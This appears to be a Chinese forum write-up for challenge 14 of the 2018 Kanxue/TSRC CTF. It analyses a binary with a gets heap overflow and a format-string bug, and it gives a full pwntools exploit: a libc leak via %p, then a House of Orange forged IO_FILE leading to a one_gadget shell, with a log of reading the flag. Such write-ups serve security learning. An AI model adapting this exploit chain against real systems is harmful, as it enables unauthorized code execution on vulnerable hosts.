-
-
[原创]2018看雪&TSRC CTF第14题WP
-
2018-12-29 10:24 5347
-
0x1 程序分析
惯例先看看开了哪些保护。
[*] '/home/abc/Downloads/ctf' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
程序流程很简单
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { signed int i; // ebx unsigned int len; // eax void *p; // rbp i = 5; setup(); puts("echo from your heart"); do { __printf_chk(1LL, "lens of your word: "); len = get_len(1LL, "lens of your word: "); if ( len > 0x1000 ) { puts("too long"); exit(1); } p = malloc(len); __printf_chk(1LL, "word: "); gets(p); __printf_chk(1LL, "echo: "); __printf_chk(1LL, p); putchar(10); --i; } while ( i ); return 0LL; }
两处漏洞:
1、gets堆溢出
p = malloc(len); __printf_chk(1LL, "word: "); gets(p);
2、格式化字符串
__printf_chk(1LL, p);
0x2 利用思路
一、格式化字符串
虽然存在格式化字符串漏洞,并且GOT表可写,但是程序使用的是printf_chk函数。会检测出形如"%n"和"%12$p"这种利用方式。
考虑到main函数由libc_start_main调用,因此栈上的返回地址是一个libc中的地址,利用格式化字符串漏洞能泄露出libc的基址。
"%p::%p::%p::%p::%p::%p::%p::%p"。第8个%p就能打印出libc上的地址。
二、堆溢出
houseoforange的思路
1、malloc一个0x400的chunk,通过gets()溢出修改topchunk的size域为0xc01(这里要保证topchunk是页对齐的,并且PRE_INUSE位置1,否则后面释放old topchunk时会报错)
send(('%p::'*8).ljust(1008)+'\x00'*8+p64(0xc01),1008)
2、malloc一个0x1000的chunk(比topchunk大,小于0x20c00就行).libc会分配出一个新的topchunk,并把old topchunk给free掉。这样我们就得到了一个unsorted bin
send('abc',4096)
3、malloc一个0x20的chunk。unsorted bin会先放入large bin中,然后分割成两部分。第一部分返回给malloc,剩下的作为last_remainder又被放入unsorted bin链表中。利用gets溢出在这个unsortedbin中伪造一个IO_FILE结构
payload=p64(0)+p64(0x61)+p64(libc_base)+p64(io_list-0x10)+p64(2)+p64(3) payload = payload.ljust(0xd8, "\x00") payload += p64(jump_table) payload += p64(libc_base+0x4526a) payload = 'a'*16 + payload send(payload,16)
4、最后随便malloc一下,由于unsorted bin链表被破坏,程序_IO_flush_all_lockp时会使用我们伪造的IO_FILE,执行one_gadget
p.sendline('10')
0x3 完整利用代码
from pwn import * # context(log_level='debug') # libc = ELF('./libc-2.23.so') p = process('./ctf') # p = remote('211.159.175.39',8686) def send(s,len): p.sendline(str(len)) p.recvuntil('word: ') p.sendline(s) p.recvuntil('echo: ') return p.recv() p.recvuntil('lens of your word: ') s = send(('%p::'*8).ljust(1008)+'\x00'*8+p64(0xc01),1008) libc_base = int(s.split('::')[7],16)-0x20830 io_list = libc_base + 0x3c5520 jump_table = 0x3c36e0 + libc_base + 0xc0 send('abc',4096) payload=p64(0)+p64(0x61)+p64(libc_base)+p64(io_list-0x10)+p64(2)+p64(3) payload = payload.ljust(0xd8, "\x00") payload += p64(jump_table) payload += p64(libc_base+0x4526a) payload = 'a'*16 + payload send(payload,16) p.sendline('10') p.interactive() # gdb.attach(p) # abc@vm:~/Desktop/Link to Downloads$ python exp.py # [+] Opening connection to 211.159.175.39 on port 8686: Done # [*] Switching to interactive mode # *** Error in `./echopwn': malloc(): memory corruption: 0x00007f16da154520 *** # ======= Backtrace: ========= # /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f16d9e067e5] # /lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f16d9e1113e] # /lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f16d9e13184] # ./echopwn(+0x947)[0x56203c943947] # /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f16d9daf830] # ./echopwn(+0x9ea)[0x56203c9439ea] # ======= Memory map: ======== # $ ls # bin # dev # echopwn # flag # lib # lib64 # $ cat flag # flag{wefwkejsueneriuweiwsdu32few2djwe}
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法